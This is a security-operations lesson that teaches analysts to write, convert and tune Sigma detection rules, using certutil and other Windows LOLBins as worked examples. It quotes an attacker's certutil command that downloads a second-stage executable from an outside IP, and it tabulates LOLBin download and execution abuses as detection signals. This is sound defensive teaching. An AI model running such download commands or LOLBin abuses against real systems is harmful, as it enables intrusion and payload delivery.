Detection Engineering: Writing and Tuning Sigma Rules
Theory
Prerequisites
- COA-K002: MITRE ATT&CK for SOC Analysts
- COA-K003: Windows Event Log Investigation
Why This Lesson Matters
Detection rules are the automation layer of the SOC. Every manual investigation you conduct should produce either a rule that catches the same attack automatically next time or a documented reason why it cannot. Detection engineering is not a separate team's job — it is a daily responsibility of every analyst above L1.
1. What is Sigma?
Sigma is an open, vendor-neutral format for writing SIEM detection rules. A Sigma rule describes attacker behaviour in YAML; tools convert it to the query language of any SIEM (Splunk SPL, Elastic KQL, Microsoft Sentinel KQL, etc.).
Attack behaviour (attacker action)
↓
Sigma rule (vendor-neutral YAML)
↓ sigma convert
┌───────┬────────────┬────────────┐
│Splunk │ Elastic │ Sentinel │
│ SPL │ KQL │ KQL │
└───────┴────────────┴────────────┘
2. Sigma Rule Structure
title: Suspicious PowerShell Encoded Command Execution
id: e4a74c65-1234-5678-abcd-ef0123456789 # UUID — generate with uuidgen
status: experimental # experimental | test | stable
description: >
Detects PowerShell executed with the -EncodedCommand flag, a technique
commonly used to obfuscate malicious PowerShell (T1059.001 / T1027).
references:
- https://attack.mitre.org/techniques/T1059/001/
author: SOC Analyst
date: 2026/06/08
modified: 2026/06/08
tags:
- attack.execution
- attack.t1059.001
- attack.defense_evasion
- attack.t1027
logsource:
product: windows
service: sysmon # or: security, system, application
detection:
selection:
EventID: 1 # Sysmon process creation
CommandLine|contains|all:
- 'powershell'
- '-EncodedCommand'
condition: selection
falsepositives:
- Legitimate IT automation scripts using -EncodedCommand
- Configuration management tools (Ansible, Puppet)
level: high
2.1 Field Modifiers
Sigma modifiers alter how field comparisons work:
| Modifier | Meaning | Example |
|---|---|---|
contains |
Substring match | CommandLine|contains: 'enc' |
contains|all |
All values must be present | contains|all: ['powershell', '-enc'] |
contains|any |
At least one value | contains|any: ['cmd.exe', 'powershell'] |
startswith |
Prefix match | Image|startswith: 'C:Windows' |
endswith |
Suffix match | Image|endswith: 'lsass.exe' |
re |
Regular expression | CommandLine|re: '(?i)-enc[^o]' |
2.2 Condition Logic
# AND logic (all selections must match)
condition: selection_a and selection_b
# OR logic (either selection)
condition: selection_a or selection_b
# NOT (exclude false positives)
condition: selection and not filter_legit
# Count threshold
condition: selection | count() > 5
# Near — temporal proximity (not all SIEMs support this)
condition: selection_exec near selection_persist within 5m
3. Writing a Rule from an Incident
Scenario: During a web attack investigation, you discovered that the attacker used certutil.exe to download their second stage. certutil is a legitimate Windows binary (LOLBin) abused for download.
certutil.exe -urlcache -f http://185.220.101.5/stage2.exe C:Tempupdate.exe
Step 1 — Identify the detection primitive
The abuse of certutil for download uses -urlcache and -f flags. These are not used in legitimate certutil workflows.
Step 2 — Write the Sigma rule
title: Certutil Download via URLCache
id: 3f7c9a11-...
status: test
description: Detects certutil.exe used as a download tool via -urlcache flag (T1105).
tags:
- attack.command_and_control
- attack.t1105
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
Image|endswith: 'certutil.exe'
CommandLine|contains|all:
- '-urlcache'
- '-f'
condition: selection
falsepositives:
- Certificate management workflows (rare)
level: high
Step 3 — Convert to Splunk SPL
sigma convert -t splunk certutil_download.yml
# Output:
# EventID=1 Image="*\certutil.exe" CommandLine="*-urlcache*" CommandLine="*-f*"
Step 4 — Test and tune
Deploy in alert mode (not block). Count alerts over 7 days. Review FPs. Add exclusions:
filter_legit:
CommandLine|contains:
- '-store' # legitimate certificate store operations
- '-enterprise'
condition: selection and not filter_legit
4. Common LOLBins with Sigma Patterns
| Binary | Abuse technique | Detection signal |
|---|---|---|
certutil.exe |
Download, base64 decode | -urlcache -f, -decode in CommandLine |
mshta.exe |
Execute HTA from URL | CommandLine contains http:// or https:// |
regsvr32.exe |
Execute COM scriptlet | CommandLine contains /s /u /i:http |
wscript.exe / cscript.exe |
Execute JS/VBS | Child of Office, spawns cmd/powershell |
bitsadmin.exe |
File download | /transfer, /download in CommandLine |
rundll32.exe |
Execute DLL | CommandLine calls shell32/javascript |
msiexec.exe |
Install from URL | /q + http:// in CommandLine |
5. False Positive Reduction Strategies
| Strategy | Example |
|---|---|
| Exclude known-good parent processes | not ParentImage endswith 'chef-client.exe' |
| Exclude specific user/host combinations | not (User='svc_ansible' and Image='*powershell.exe') |
| Exclude known-good hashes | not Hashes|contains: 'SHA256=abc123...' |
| Require multiple conditions (AND) | Combine CommandLine + ParentImage + user context |
| Time-window exclusions (SOAR) | Suppress alerts during approved change windows |
6. Practice Exercises
-
Write a Sigma rule that detects the following behaviour:
mshta.exeexecuting a URL-based HTA payload (CommandLine containshttp://orhttps://). Include a realistic false-positive note. -
A Sigma rule for "suspicious net.exe usage" has a 92% false positive rate. The CommandLine is
net user— very common in admin environments. Propose three modifications to the rule that would reduce FPs without losing coverage of the attack technique. -
Convert the certutil Sigma rule from Section 3 to Elasticsearch Lucene query syntax manually (without using the sigma tool).
7. Lab
Assessment mode: quiz
You are given three incident investigation summaries. For each, write a Sigma rule that would have detected the attacker's behaviour, then answer questions about false positive rate and tuning strategy.
Your rules will be evaluated on: correct logsource, correct EventID, accurate field matching, and at least one false-positive filter.
8. Framework Alignment
| Framework | Role | Competency | Confidence |
|---|---|---|---|
| CCSSF-COA | Cyber Security Operations Analyst | Detection rule engineering and tuning | High |
| CCSSF-ENG | Security Engineer | SIEM deployment and detection engineering | High |
| CCSSF-CIR | Cyber Incident Responder | Post-incident detection improvement | High |
| NICE 2.2.0 | Cyber Defense Analyst | S0167 — Skill in developing and implementing detection signatures | High |
9. Further Reading
- Sigma GitHub repository — https://github.com/SigmaHQ/sigma — Rules + converter tool
- Sigma Specification — https://sigmahq.io/docs/specification/ — Authoritative reference
- LOLBAS Project — https://lolbas-project.github.io/ — Complete LOLBin catalogue
- Florian Roth — "How to Write Sigma Rules" — https://www.nextron-systems.com/2018/02/10/write-sigma-rules/
Learning Objectives
["Write a syntactically correct Sigma rule for a described attacker behaviour, including logsource, detection logic with field modifiers, false-positives section, and ATT&CK tags", "Apply at least two false-positive reduction strategies to a Sigma rule that is generating excessive noise, and explain the trade-off of each strategy", "Convert a Sigma rule to Splunk SPL syntax using the sigma convert CLI tool and verify the output matches the original detection intent"]
Lesson Outline
Prerequisites → Why this matters → Sigma introduction (purpose, vendor-neutral portability) → Rule structure walkthrough (all fields) → Field modifiers (contains, startswith, endswith, re) → Condition logic (AND/OR/NOT/count) → Writing a rule from an incident (certutil LOLBin, 4-step process) → Common LOLBins with Sigma patterns → FP reduction strategies → Practice exercises → Quiz lab → Framework alignment → Further reading